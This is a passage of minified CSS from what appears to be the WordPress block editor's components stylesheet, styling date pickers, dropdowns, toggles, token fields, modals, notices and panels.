.DateInput_fangStroke { stroke: #dbdbdb; fill: transparent; } .DateRangePickerInput { background-color: #fff; display: inline-block; } .DateRangePickerInput__disabled { background: #f2f2f2; } .DateRangePickerInput__withBorder { border-radius: 2px; border: 1px solid #dbdbdb; } .DateRangePickerInput__rtl { direction: rtl; } .DateRangePickerInput__block { display: block; } .DateRangePickerInput__showClearDates { padding-right: 30px; } .DateRangePickerInput_arrow { display: inline-block; vertical-align: middle; color: #484848; } .DateRangePickerInput_arrow_svg { vertical-align: middle; fill: #484848; height: 24px; width: 24px; } .DateRangePickerInput_clearDates { background: 0 0; border: 0; color: inherit; font: inherit; line-height: normal; overflow: visible; cursor: pointer; padding: 10px; margin: 0 10px 0 5px; position: absolute; right: 0; top: 50%; transform: translateY(-50%); } .DateRangePickerInput_clearDates__small { padding: 6px; } .DateRangePickerInput_clearDates_default:focus, .DateRangePickerInput_clearDates_default:hover { background: #dbdbdb; border-radius: 50%; } .DateRangePickerInput_clearDates__hide { visibility: hidden; } .DateRangePickerInput_clearDates_svg { fill: #82888a; height: 12px; width: 15px; vertical-align: middle; } .DateRangePickerInput_clearDates_svg__small { height: 9px; } .DateRangePickerInput_calendarIcon { background: 0 0; border: 0; color: inherit; font: inherit; line-height: normal; overflow: visible; cursor: pointer; display: inline-block; vertical-align: middle; padding: 10px; margin: 0 5px 0 10px; } .DateRangePickerInput_calendarIcon_svg { fill: #82888a; height: 15px; width: 14px; vertical-align: middle; } .DateRangePicker { position: relative; display: inline-block; } .DateRangePicker__block { display: block; } .DateRangePicker_picker { z-index: 1; background-color: #fff; position: absolute; } .DateRangePicker_picker__rtl { direction: rtl; } .DateRangePicker_picker__directionLeft { left: 0; } .DateRangePicker_picker__directionRight { right: 0; } .DateRangePicker_picker__portal { background-color: rgba(0, 0, 0, 0.3); position: fixed; top: 0; left: 0; height: 100%; width: 100%; } .DateRangePicker_picker__fullScreenPortal { background-color: #fff; } .DateRangePicker_closeButton { background: 0 0; border: 0; color: inherit; font: inherit; line-height: normal; overflow: visible; cursor: pointer; position: absolute; top: 0; right: 0; padding: 15px; z-index: 2; } .DateRangePicker_closeButton:focus, .DateRangePicker_closeButton:hover { color: #b0b3b4; text-decoration: none; } .DateRangePicker_closeButton_svg { height: 15px; width: 15px; fill: #cacccd; } /*rtl:end:ignore*/ .components-datetime { padding: 0; } .components-datetime .components-datetime__calendar-help { padding: 16px; } .components-datetime .components-datetime__calendar-help h4 { margin: 0; } .components-datetime .components-datetime__buttons { display: flex; justify-content: space-between; } .components-datetime .components-datetime__date-help-toggle { display: block; margin-left: auto; } .components-datetime fieldset { border: 0; padding: 0; margin: 0; } .components-datetime select, .components-datetime input { box-shadow: 0 0 0 transparent; transition: box-shadow 0.1s linear; border-radius: 2px; border: 1px solid #757575; } @media (prefers-reduced-motion: reduce) { .components-datetime select, .components-datetime input { transition-duration: 0s; } } .components-datetime select, .components-datetime input[type=number], .components-datetime .components-button { height: 30px; margin-top: 0; margin-bottom: 0; } .components-datetime__date { min-height: 236px; border-top: 1px solid #ddd; } .components-datetime__date .DayPickerNavigation_leftButton__horizontalDefault { /*!rtl:begin:ignore*/ left: 13px; /*!rtl:end:ignore*/ } .components-datetime__date .CalendarMonth_caption { font-size: 13px; } .components-datetime__date .CalendarMonth_table { border-collapse: separate; border-spacing: 2px; } .components-datetime__date .CalendarDay { font-size: 13px; border: none; border-radius: 50%; text-align: center; } .components-datetime__date .CalendarDay:focus { box-shadow: inset 0 0 0 2px #007cba, inset 0 0 0 3px #fff; box-shadow: inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color), inset 0 0 0 3px #fff; outline: 2px solid transparent; } .components-datetime__date .CalendarDay__selected { background: #007cba; background: var(--wp-admin-theme-color); border: 2px solid transparent; } .components-datetime__date .CalendarDay__selected:hover { background: #005a87; background: var(--wp-admin-theme-color-darker-20); } .components-datetime__date .CalendarDay__selected:focus { box-shadow: inset 0 0 0 1px #fff; } .components-datetime__date .DayPickerNavigation_button__horizontalDefault { padding: 2px 8px; top: 20px; } .components-datetime__date .DayPickerNavigation_button__horizontalDefault:focus { border-color: #007cba; border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 1px #007cba; box-shadow: 0 0 0 1px var(--wp-admin-theme-color); outline: 2px solid transparent; } .components-datetime__date .DayPicker_weekHeader { top: 50px; } .components-datetime__date .DayPicker_weekHeader .DayPicker_weekHeader_ul { margin: 1px; padding-left: 0; padding-right: 0; } .components-datetime__date.is-description-visible .DayPicker { visibility: hidden; } .components-datetime__time { padding-bottom: 16px; } .components-datetime__time fieldset { position: relative; margin-bottom: 0.5em; } .components-datetime__time fieldset + fieldset { margin-bottom: 0; } .components-datetime__time .components-datetime__time-field-am-pm fieldset { margin-top: 0; } .components-datetime__time .components-datetime__time-wrapper { display: flex; } .components-datetime__time .components-datetime__time-wrapper .components-datetime__time-separator { display: inline-block; padding: 0 3px 0 0; } .components-datetime__time .components-datetime__time-wrapper .components-datetime__time-field-time { /*rtl:ignore*/ direction: ltr; } .components-datetime__time .components-datetime__time-wrapper .components-datetime__time-field select { margin-right: 4px; } .components-datetime__time .components-datetime__time-wrapper .components-datetime__time-field select:focus { position: relative; z-index: 1; } .components-datetime__time .components-datetime__time-wrapper .components-datetime__time-field input[type=number] { padding: 2px; margin-right: 4px; text-align: center; -moz-appearance: textfield; } .components-datetime__time .components-datetime__time-wrapper .components-datetime__time-field input[type=number]:focus { position: relative; z-index: 1; } .components-datetime__time .components-datetime__time-wrapper .components-datetime__time-field input[type=number]::-webkit-inner-spin-button { -webkit-appearance: none; margin: 0; } .components-datetime__time.is-12-hour .components-datetime__time-field-day input { margin: -4px 0 0 !important; border-radius: 2px 0 0 2px !important; } .components-datetime__time.is-12-hour .components-datetime__time-field-year input { border-radius: 0 2px 2px 0 !important; } .components-datetime__timezone { line-height: 30px; margin-left: 4px; -webkit-text-decoration: underline dotted; text-decoration: underline dotted; } .components-datetime__time-legend { font-weight: 600; margin-top: 0.5em; } .components-datetime__time-legend.invisible { position: absolute; top: -999em; left: -999em; } .components-datetime__time-field-hours-input, .components-datetime__time-field-minutes-input, .components-datetime__time-field-day-input { width: 35px; } .components-datetime__time-field-year-input { width: 55px; } .components-datetime__time-field-month-select { max-width: 145px; } .components-popover .components-datetime__date { padding-left: 4px; } .block-editor-dimension-control .components-base-control__field { display: flex; align-items: center; } .block-editor-dimension-control .components-base-control__label { display: flex; align-items: center; margin-right: 1em; margin-bottom: 0; } .block-editor-dimension-control .components-base-control__label .dashicon { margin-right: 0.5em; } .block-editor-dimension-control.is-manual .components-base-control__label { width: 10em; } body.is-dragging-components-draggable { cursor: move; /* Fallback for IE/Edge < 14 */ cursor: grabbing !important; } .components-draggable__invisible-drag-image { position: fixed; left: -1000px; height: 50px; width: 50px; } .components-draggable__clone { position: fixed; padding: 0; background: transparent; pointer-events: none; z-index: 1000000000; } .components-drop-zone { position: absolute; top: 0; right: 0; bottom: 0; left: 0; z-index: 40; visibility: hidden; opacity: 0; transition: 0.3s opacity, 0.3s background-color, 0s visibility 0.3s; border: 2px solid #007cba; border: 2px solid var(--wp-admin-theme-color); border-radius: 2px; } @media (prefers-reduced-motion: reduce) { .components-drop-zone { transition-duration: 0s; } } .components-drop-zone.is-active { opacity: 1; visibility: visible; transition: 0.3s opacity, 0.3s background-color; } @media (prefers-reduced-motion: reduce) { .components-drop-zone.is-active { transition-duration: 0s; } } .components-drop-zone.is-dragging-over-element { background-color: #007cba; background-color: var(--wp-admin-theme-color); } .components-drop-zone__content { position: absolute; top: 50%; left: 0; right: 0; z-index: 50; transform: translateY(-50%); width: 100%; text-align: center; color: #fff; transition: transform 0.2s ease-in-out; } @media (prefers-reduced-motion: reduce) { .components-drop-zone__content { transition-duration: 0s; } } .components-drop-zone.is-dragging-over-element .components-drop-zone__content { transform: translateY(-50%) scale(1.05); } .components-drop-zone__content-icon, .components-drop-zone__content-text { display: block; } .components-drop-zone__content-icon { margin: 0 auto; line-height: 0; fill: currentColor; } .components-drop-zone__content-text { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; } .components-drop-zone__provider { height: 100%; } .components-dropdown { display: inline-block; } .components-dropdown__content .components-popover__content > div { padding: 12px; } .components-dropdown-menu__popover .components-popover__content { min-width: 200px; } .components-dropdown-menu__menu { width: 100%; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; font-size: 13px; line-height: 1.4; } .components-dropdown-menu__menu .components-dropdown-menu__menu-item, .components-dropdown-menu__menu .components-menu-item { width: 100%; padding: 6px; outline: none; cursor: pointer; white-space: nowrap; } .components-dropdown-menu__menu .components-dropdown-menu__menu-item.has-separator, .components-dropdown-menu__menu .components-menu-item.has-separator { margin-top: 6px; position: relative; overflow: visible; } .components-dropdown-menu__menu .components-dropdown-menu__menu-item.has-separator::before, .components-dropdown-menu__menu .components-menu-item.has-separator::before { display: block; content: ""; box-sizing: content-box; background-color: #ddd; position: absolute; top: -3px; left: 0; right: 0; height: 1px; } .components-dropdown-menu__menu .components-dropdown-menu__menu-item.is-active svg, .components-dropdown-menu__menu .components-menu-item.is-active svg { color: #fff; background: #1e1e1e; box-shadow: 0 0 0 1px #1e1e1e; border-radius: 1px; } .components-dropdown-menu__menu .components-dropdown-menu__menu-item > svg, .components-dropdown-menu__menu .components-menu-item > svg { border-radius: 2px; width: 24px; height: 24px; } .components-dropdown-menu__menu .components-menu-item__button, .components-dropdown-menu__menu .components-menu-item__button.components-button { min-height: 36px; height: auto; text-align: left; padding-left: 8px; padding-right: 8px; } .components-dropdown-menu__menu .components-menu-group { padding: 12px; margin-top: 0; margin-bottom: 0; margin-left: -12px; margin-right: -12px; } .components-dropdown-menu__menu .components-menu-group:first-child { margin-top: -12px; } .components-dropdown-menu__menu .components-menu-group:last-child { margin-bottom: -12px; } .components-dropdown-menu__menu .components-menu-group + .components-menu-group { margin-top: 0; border-top: 1px solid #ccc; padding: 12px; } .is-alternate .components-dropdown-menu__menu .components-menu-group + .components-menu-group { border-color: #1e1e1e; } .components-font-size-picker__controls { max-width: 248px; display: flex; flex-wrap: wrap; align-items: center; margin-bottom: 24px; } .components-font-size-picker__controls .components-font-size-picker__number { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; padding: 6px 8px; box-shadow: 0 0 0 transparent; transition: box-shadow 0.1s linear; border-radius: 2px; border: 1px solid #757575; /* Fonts smaller than 16px causes mobile safari to zoom. */ font-size: 16px; /* Override core line-height. To be reviewed. */ line-height: normal; display: inline-block; font-weight: 500; height: 30px; margin-bottom: 0; margin-left: 0; margin-right: 8px; margin-top: 8px; width: 54px; } @media (prefers-reduced-motion: reduce) { .components-font-size-picker__controls .components-font-size-picker__number { transition-duration: 0s; } } @media (min-width: 600px) { .components-font-size-picker__controls .components-font-size-picker__number { font-size: 13px; /* Override core line-height. To be reviewed. */ line-height: normal; } } .components-font-size-picker__controls .components-font-size-picker__number:focus { border-color: #007cba; border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 1px #007cba; box-shadow: 0 0 0 1px var(--wp-admin-theme-color); outline: 2px solid transparent; } .components-font-size-picker__controls .components-font-size-picker__number::-webkit-input-placeholder { color: rgba(30, 30, 30, 0.62); } .components-font-size-picker__controls .components-font-size-picker__number::-moz-placeholder { opacity: 1; color: rgba(30, 30, 30, 0.62); } .components-font-size-picker__controls .components-font-size-picker__number:-ms-input-placeholder { color: rgba(30, 30, 30, 0.62); } .is-dark-theme .components-font-size-picker__controls .components-font-size-picker__number::-webkit-input-placeholder { color: rgba(255, 255, 255, 0.65); } .is-dark-theme .components-font-size-picker__controls .components-font-size-picker__number::-moz-placeholder { opacity: 1; color: rgba(255, 255, 255, 0.65); } .is-dark-theme .components-font-size-picker__controls .components-font-size-picker__number:-ms-input-placeholder { color: rgba(255, 255, 255, 0.65); } .components-font-size-picker__controls .components-font-size-picker__number[value=""] + .components-button { cursor: default; opacity: 0.3; pointer-events: none; } .components-font-size-picker__controls .components-font-size-picker__number-container { display: flex; flex-direction: column; } .components-font-size-picker__controls .components-font-size-picker__select { margin-right: 8px; } .components-font-size-picker__controls .components-color-palette__clear { height: 30px; margin-top: 26px; } .components-font-size-picker__custom-input .components-range-control__slider + .dashicon { width: 30px; height: 30px; } .components-font-size-picker { border: 0; padding: 0; margin: 0; } .components-form-toggle { position: relative; display: inline-block; } .components-form-toggle .components-form-toggle__track { content: ""; display: inline-block; box-sizing: border-box; vertical-align: top; background-color: #fff; border: 1px solid #1e1e1e; width: 36px; height: 18px; border-radius: 9px; transition: 0.2s background ease; } @media (prefers-reduced-motion: reduce) { .components-form-toggle .components-form-toggle__track { transition-duration: 0s; } } .components-form-toggle .components-form-toggle__thumb { display: block; position: absolute; box-sizing: border-box; top: 3px; left: 3px; width: 12px; height: 12px; border-radius: 50%; transition: 0.1s transform ease; background-color: #1e1e1e; border: 5px solid #1e1e1e; } @media (prefers-reduced-motion: reduce) { .components-form-toggle .components-form-toggle__thumb { transition-duration: 0s; } } .components-form-toggle.is-checked .components-form-toggle__track { background-color: #007cba; background-color: var(--wp-admin-theme-color); border: 1px solid #007cba; border: 1px solid var(--wp-admin-theme-color); border: 9px solid transparent; } .components-form-toggle .components-form-toggle__input:focus + .components-form-toggle__track { box-shadow: 0 0 0 2px #fff, 0 0 0 4px #007cba; box-shadow: 0 0 0 2px #fff, 0 0 0 4px var(--wp-admin-theme-color); outline: 2px solid transparent; outline-offset: 2px; } .components-form-toggle.is-checked .components-form-toggle__thumb { background-color: #fff; border-width: 0; transform: translateX(18px); } .components-form-toggle.is-disabled, .components-disabled .components-form-toggle { opacity: 0.3; } .components-form-toggle input.components-form-toggle__input[type=checkbox] { position: absolute; top: 0; left: 0; width: 100%; height: 100%; opacity: 0; margin: 0; padding: 0; z-index: 1; border: none; } .components-form-toggle input.components-form-toggle__input[type=checkbox]:checked { background: none; } .components-form-toggle input.components-form-toggle__input[type=checkbox]::before { content: ""; } .components-form-token-field__input-container { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; padding: 6px 8px; box-shadow: 0 0 0 transparent; transition: box-shadow 0.1s linear; border-radius: 2px; border: 1px solid #757575; /* Fonts smaller than 16px causes mobile safari to zoom. */ font-size: 16px; /* Override core line-height. To be reviewed. */ line-height: normal; display: flex; flex-wrap: wrap; align-items: flex-start; width: 100%; margin: 0 0 8px 0; padding: 2px 4px; cursor: text; } @media (prefers-reduced-motion: reduce) { .components-form-token-field__input-container { transition-duration: 0s; } } @media (min-width: 600px) { .components-form-token-field__input-container { font-size: 13px; /* Override core line-height. To be reviewed. */ line-height: normal; } } .components-form-token-field__input-container:focus { border-color: #007cba; border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 1px #007cba; box-shadow: 0 0 0 1px var(--wp-admin-theme-color); outline: 2px solid transparent; } .components-form-token-field__input-container::-webkit-input-placeholder { color: rgba(30, 30, 30, 0.62); } .components-form-token-field__input-container::-moz-placeholder { opacity: 1; color: rgba(30, 30, 30, 0.62); } .components-form-token-field__input-container:-ms-input-placeholder { color: rgba(30, 30, 30, 0.62); } .is-dark-theme .components-form-token-field__input-container::-webkit-input-placeholder { color: rgba(255, 255, 255, 0.65); } .is-dark-theme .components-form-token-field__input-container::-moz-placeholder { opacity: 1; color: rgba(255, 255, 255, 0.65); } .is-dark-theme .components-form-token-field__input-container:-ms-input-placeholder { color: rgba(255, 255, 255, 0.65); } .components-form-token-field__input-container.is-disabled { background: #ddd; border-color: #ddd; } .components-form-token-field__input-container.is-active { border-color: #007cba; border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 1px #007cba; box-shadow: 0 0 0 1px var(--wp-admin-theme-color); outline: 2px solid transparent; } .components-form-token-field__input-container input[type=text].components-form-token-field__input { display: inline-block; flex: 1; font-size: 16px; width: 100%; max-width: 100%; margin-left: 4px; padding: 0; min-height: 24px; min-width: 50px; background: inherit; border: 0; color: #1e1e1e; box-shadow: none; } @media (min-width: 600px) { .components-form-token-field__input-container input[type=text].components-form-token-field__input { font-size: 13px; } } .components-form-token-field__input-container input[type=text].components-form-token-field__input:focus, .components-form-token-field.is-active .components-form-token-field__input-container input[type=text].components-form-token-field__input { outline: none; box-shadow: none; } .components-form-token-field__input-container .components-form-token-field__token + input[type=text].components-form-token-field__input { width: auto; } .components-form-token-field__label { display: inline-block; margin-bottom: 4px; } .components-form-token-field__help { font-size: 12px; font-style: normal; color: #757575; } .components-form-token-field__token { font-size: 13px; display: flex; margin: 2px 4px 2px 0; color: #1e1e1e; max-width: 100%; } .components-form-token-field__token.is-success .components-form-token-field__token-text, .components-form-token-field__token.is-success .components-form-token-field__remove-token { background: #4ab866; } .components-form-token-field__token.is-error .components-form-token-field__token-text, .components-form-token-field__token.is-error .components-form-token-field__remove-token { background: #cc1818; } .components-form-token-field__token.is-validating .components-form-token-field__token-text, .components-form-token-field__token.is-validating .components-form-token-field__remove-token { color: #757575; } .components-form-token-field__token.is-borderless { position: relative; padding: 0 16px 0 0; } .components-form-token-field__token.is-borderless .components-form-token-field__token-text { background: transparent; color: #007cba; color: var(--wp-admin-theme-color); } .components-form-token-field__token.is-borderless .components-form-token-field__remove-token { background: transparent; color: #757575; position: absolute; top: 1px; right: 0; } .components-form-token-field__token.is-borderless.is-success .components-form-token-field__token-text { color: #4ab866; } .components-form-token-field__token.is-borderless.is-error .components-form-token-field__token-text { color: #cc1818; border-radius: 4px 0 0 4px; padding: 0 4px 0 6px; } .components-form-token-field__token.is-borderless.is-validating .components-form-token-field__token-text { color: #1e1e1e; } .components-form-token-field__token.is-disabled .components-form-token-field__remove-token { cursor: default; } .components-form-token-field__token-text, .components-form-token-field__remove-token.components-button { display: inline-block; line-height: 24px; height: auto; background: #ddd; min-width: unset; transition: all 0.2s cubic-bezier(0.4, 1, 0.4, 1); } @media (prefers-reduced-motion: reduce) { .components-form-token-field__token-text, .components-form-token-field__remove-token.components-button { transition-duration: 0s; animation-duration: 1ms; } } .components-form-token-field__token-text { border-radius: 2px 0 0 2px; padding: 0 0 0 8px; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; } .components-form-token-field__remove-token.components-button { cursor: pointer; border-radius: 0 2px 2px 0; padding: 0 2px; color: #1e1e1e; line-height: 10px; overflow: initial; } .components-form-token-field__remove-token.components-button:hover { color: #1e1e1e; } .components-form-token-field__suggestions-list { flex: 1 0 100%; min-width: 100%; max-height: 9em; overflow-y: auto; transition: all 0.15s ease-in-out; list-style: none; border-top: 1px solid #757575; margin: 4px -4px -4px; padding: 0; } @media (prefers-reduced-motion: reduce) { .components-form-token-field__suggestions-list { transition-duration: 0s; } } .components-form-token-field__suggestion { color: #757575; display: block; font-size: 13px; padding: 4px 8px; margin: 0; cursor: pointer; } .components-form-token-field__suggestion.is-selected { background: #007cba; background: var(--wp-admin-theme-color); color: #fff; } .components-form-token-field__suggestion-match { text-decoration: underline; } @media (min-width: 600px) { .components-guide { width: 600px; } } .components-guide .components-modal__header { background: none; border-bottom: none; width: 100%; padding: 0; margin: 0; } .components-guide .components-modal__header .components-button { align-self: flex-start; margin: 8px 8px 0 0; position: static; } .components-guide .components-modal__header .components-button:hover svg { fill: #fff; } .components-guide__container { display: flex; flex-direction: column; justify-content: space-between; margin-top: -60px; min-height: 100%; } .components-guide__page { display: flex; flex-direction: column; justify-content: center; position: relative; } @media (min-width: 600px) { .components-guide__page { min-height: 300px; } } .components-guide__footer { align-content: center; display: flex; height: 30px; justify-content: center; margin: 0 0 24px 0; padding: 0 32px; position: relative; width: 100%; } @media (max-width: 600px) { .components-guide__footer { position: absolute; bottom: 0; } } .components-guide__page-control { margin: 8px 0 8px 0; text-align: center; } .components-guide__page-control li { display: inline-block; } .components-guide__page-control .components-button { height: 30px; min-width: 20px; } .components-guide .components-modal__content { padding: 0; } .components-modal__frame.components-guide { border: none; min-width: 312px; height: 80vh; max-height: 575px; } @media (max-width: 600px) { .components-modal__frame.components-guide { bottom: 5%; left: 16px; right: 16px; top: 5%; margin: 0 auto; } } .components-button.components-guide__back-button, .components-button.components-guide__forward-button, .components-button.components-guide__finish-button { height: 30px; position: absolute; } .components-button.components-guide__back-button, .components-button.components-guide__forward-button { font-size: 13px; padding: 4px 2px; } .components-button.components-guide__back-button.has-text svg, .components-button.components-guide__forward-button.has-text svg { margin: 0; } .components-button.components-guide__back-button:hover, .components-button.components-guide__forward-button:hover { text-decoration: underline; } .components-button.components-guide__back-button { left: 32px; } .components-button.components-guide__forward-button { right: 32px; color: #1386bf; font-weight: bold; } .components-button.components-guide__finish-button { right: 32px; } .components-button.components-guide__inline-finish-button { display: none; } [role=region] { position: relative; } .is-focusing-regions [role=region]:focus::after { content: ""; position: absolute; top: 0; bottom: 0; left: 0; right: 0; pointer-events: none; outline: 4px solid transparent; box-shadow: inset 0 0 0 4px #007cba; box-shadow: inset 0 0 0 4px var(--wp-admin-theme-color); } @supports (outline-offset: 1px) { .is-focusing-regions [role=region]:focus::after { content: none; } .is-focusing-regions [role=region]:focus { outline-style: solid; outline-color: #007cba; outline-color: var(--wp-admin-theme-color); outline-width: 4px; outline-offset: -4px; } } .components-menu-group + .components-menu-group { margin-top: 8px; padding-top: 8px; border-top: 1px solid #1e1e1e; } .components-menu-group__label { padding: 0 8px; margin-top: 4px; margin-bottom: 12px; color: #757575; text-transform: uppercase; font-size: 11px; font-weight: 500; } .components-menu-item__button, .components-menu-item__button.components-button { width: 100%; } .components-menu-item__button .components-menu-items__item-icon, .components-menu-item__button.components-button .components-menu-items__item-icon { margin-right: -2px; margin-left: 24px; display: inline-block; flex: 0 0 auto; } .components-menu-item__button .components-menu-item__shortcut + .components-menu-items__item-icon, .components-menu-item__button.components-button .components-menu-item__shortcut + .components-menu-items__item-icon { margin-left: 8px; } .components-menu-item__button .block-editor-block-icon, .components-menu-item__button.components-button .block-editor-block-icon { margin-left: -2px; margin-right: 8px; } .components-menu-item__info-wrapper { display: flex; flex-direction: column; margin-right: auto; } .components-menu-item__info { margin-top: 4px; font-size: 12px; color: #757575; white-space: normal; } .components-menu-item__item { white-space: nowrap; margin-right: auto; display: inline-flex; align-items: center; } .components-menu-item__shortcut { -ms-grid-row-align: center; align-self: center; margin-right: 0; margin-left: auto; padding-left: 24px; color: currentColor; display: none; } @media (min-width: 480px) { .components-menu-item__shortcut { display: inline; } } .components-menu-items-choice svg, .components-menu-items-choice.components-button svg { margin-right: 12px; } .components-menu-items-choice.has-icon, .components-menu-items-choice.components-button.has-icon { padding-left: 12px; } .components-modal__screen-overlay { position: fixed; top: 0; right: 0; bottom: 0; left: 0; background-color: rgba(0, 0, 0, 0.35); z-index: 100000; animation: edit-post__fade-in-animation 0.2s ease-out 0s; animation-fill-mode: forwards; } @media (prefers-reduced-motion: reduce) { .components-modal__screen-overlay { animation-duration: 1ms; } } .components-modal__frame { position: absolute; top: 0; right: 0; bottom: 0; left: 0; box-sizing: border-box; margin: 0; border: 1px solid #ddd; background: #fff; box-shadow: 0 3px 30px rgba(0, 0, 0, 0.2); overflow: auto; } @media (min-width: 600px) { .components-modal__frame { top: 50%; right: auto; bottom: auto; left: 50%; min-width: 360px; max-width: calc(100% - 16px - 16px); max-height: 90%; transform: translate(-50%, -50%); animation: components-modal__appear-animation 0.1s ease-out; animation-fill-mode: forwards; } } @media (min-width: 600px) and (prefers-reduced-motion: reduce) { .components-modal__frame { animation-duration: 1ms; } } @keyframes components-modal__appear-animation { from { margin-top: 32px; } to { margin-top: 0; } } .components-modal__header { box-sizing: border-box; border-bottom: 1px solid #ddd; padding: 0 24px; display: flex; flex-direction: row; justify-content: space-between; background: #fff; align-items: center; height: 60px; z-index: 10; position: relative; position: -webkit-sticky; position: sticky; top: 0; margin: 0 -24px 24px; } @supports (-ms-ime-align: auto) { .components-modal__header { position: fixed; width: 100%; } } .components-modal__header .components-modal__header-heading { font-size: 1rem; font-weight: 600; } .components-modal__header h1 { line-height: 1; margin: 0; } .components-modal__header .components-button { position: relative; left: 8px; } .components-modal__header-heading-container { align-items: center; flex-grow: 1; display: flex; flex-direction: row; justify-content: left; } .components-modal__header-icon-container { display: inline-block; } .components-modal__header-icon-container svg { max-width: 36px; max-height: 36px; padding: 8px; } .components-modal__content { box-sizing: border-box; height: 100%; padding: 0 24px 24px; } @supports (-ms-ime-align: auto) { .components-modal__content { padding-top: 60px; } } .components-notice { display: flex; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; font-size: 13px; background-color: #fff; border-left: 4px solid #007cba; border-left: 4px solid var(--wp-admin-theme-color); margin: 5px 15px 2px; padding: 8px 12px; align-items: center; } .components-notice.is-dismissible { padding-right: 36px; position: relative; } .components-notice.is-success { border-left-color: #4ab866; background-color: #eff9f1; } .components-notice.is-warning { border-left-color: #f0b849; background-color: #fef8ee; } .components-notice.is-error { border-left-color: #cc1818; background-color: #f4a2a2; } .components-notice__content { flex-grow: 1; margin: 4px 25px 4px 0; } .components-notice__action.components-button, .components-notice__action.components-button.is-link { margin-left: 12px; } .components-notice__action.components-button.is-secondary { vertical-align: initial; } .components-notice__dismiss { color: #757575; align-self: flex-start; flex-shrink: 0; } .components-notice__dismiss:not(:disabled):not([aria-disabled=true]):not(.is-secondary):hover, .components-notice__dismiss:not(:disabled):not([aria-disabled=true]):not(.is-secondary):active, .components-notice__dismiss:not(:disabled):not([aria-disabled=true]):focus { color: #1e1e1e; background-color: transparent; } .components-notice__dismiss:not(:disabled):not([aria-disabled=true]):not(.is-secondary):hover { box-shadow: none; } .components-notice-list { max-width: 100vw; box-sizing: border-box; z-index: 29; } .components-notice-list .components-notice__content { margin-top: 12px; margin-bottom: 12px; line-height: 2; } .components-notice-list .components-notice__action.components-button { display: block; margin-left: 0; margin-top: 8px; } .components-panel { background: #fff; border: 1px solid #e0e0e0; } .components-panel > .components-panel__header:first-child, .components-panel > .components-panel__body:first-child { margin-top: -1px; } .components-panel > .components-panel__header:last-child, .components-panel > .components-panel__body:last-child { border-bottom-width: 0; } .components-panel + .components-panel { margin-top: -1px; } .components-panel__body { border-top: 1px solid #e0e0e0; border-bottom: 1px solid #e0e0e0; } .components-panel__body h3 { margin: 0 0 0.5em; } .components-panel__body.is-opened { padding: 16px; } .components-panel__header { display: flex; justify-content: space-between; align-items: center; padding: 0 16px; height: 48px; border-top: 1px solid #ddd; border-bottom: 1px solid #ddd; } .components-panel__header h2 { margin: 0; font-size: inherit; color: inherit; } .components-panel__body + .components-panel__body, .components-panel__body + .components-panel__header, .components-panel__header + .components-panel__body, .components-panel__header + .components-panel__header { margin-top: -1px; } .components-panel__body > .components-panel__body-title { display: block; padding: 0; font-size: inherit; margin-top: 0; margin-bottom: 0; transition: 0.1s background ease-in-out; } @media (prefers-reduced-motion: reduce) { .components-panel__body > .components-panel__body-title { transition-duration: 0s; } } .components-panel__body.is-opened > .components-panel__body-title { margin: -16px; margin-bottom: 5px; } .components-panel__body > .components-panel__body-title:hover { background: #f0f0f0; border: none; } .components-panel__body-toggle.components-button { position: relative; padding: 16px; outline: none; width: 100%; font-weight: 500; text-align: left; color: #1e1e1e; border: none; box-shadow: none; transition: 0.1s background ease-in-out; height: auto; /* rtl:begin:ignore */ /* rtl:end:ignore */ } @media (prefers-reduced-motion: reduce) { .components-panel__body-toggle.components-button { transition-duration: 0s; } } .components-panel__body-toggle.components-button:focus { box-shadow: inset 0 0 0 2px #007cba; box-shadow: inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); border-radius: 0; } .components-panel__body-toggle.components-button .components-panel__arrow { position: absolute; right: 16px; top: 50%; transform: translateY(-50%); color: #1e1e1e; fill: currentColor; transition: 0.1s color ease-in-out; } @media (prefers-reduced-motion: reduce) { .components-panel__body-toggle.components-button .components-panel__arrow { transition-duration: 0s; } } body.rtl .components-panel__body-toggle.components-button .dashicons-arrow-right { transform: scaleX(-1); -ms-filter: fliph; filter: FlipH; margin-top: -10px; } .components-panel__icon { color: #757575; margin: -2px 0 -2px 6px; } .components-panel__body-toggle-icon { margin-right: -5px; } .components-panel__color-title { float: left; height: 19px; } .components-panel__row { display: flex; justify-content: space-between; align-items: center; margin-top: 8px; min-height: 36px; } .components-panel__row select { min-width: 0; } .components-panel__row label { margin-right: 12px; flex-shrink: 0; max-width: 75%; } .components-panel__row:empty, .components-panel__row:first-of-type { margin-top: 0; } .components-panel .circle-picker { padding-bottom: 20px; } .components-placeholder.components-placeholder { box-sizing: border-box; position: relative; padding: 1em; min-height: 200px; width: 100%; text-align: left; margin: 0; color: #1e1e1e; -moz-font-smoothing: subpixel-antialiased; -webkit-font-smoothing: subpixel-antialiased; border-radius: 2px; background-color: #fff; box-shadow: inset 0 0 0 1px #1e1e1e; outline: 1px solid transparent; } @supports ((position: -webkit-sticky) or (position: sticky)) { .components-placeholder.components-placeholder { display: flex; flex-direction: column; justify-content: center; align-items: flex-start; } } .components-placeholder.components-placeholder .components-base-control__label { font-size: 13px; } .components-placeholder__error, .components-placeholder__instructions, .components-placeholder__label, .components-placeholder__fieldset { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; font-size: 13px; } .components-placeholder__label { display: flex; font-weight: 600; margin-bottom: 16px; align-items: center; } .components-placeholder__label > svg, .components-placeholder__label .dashicon, .components-placeholder__label .block-editor-block-icon { fill: 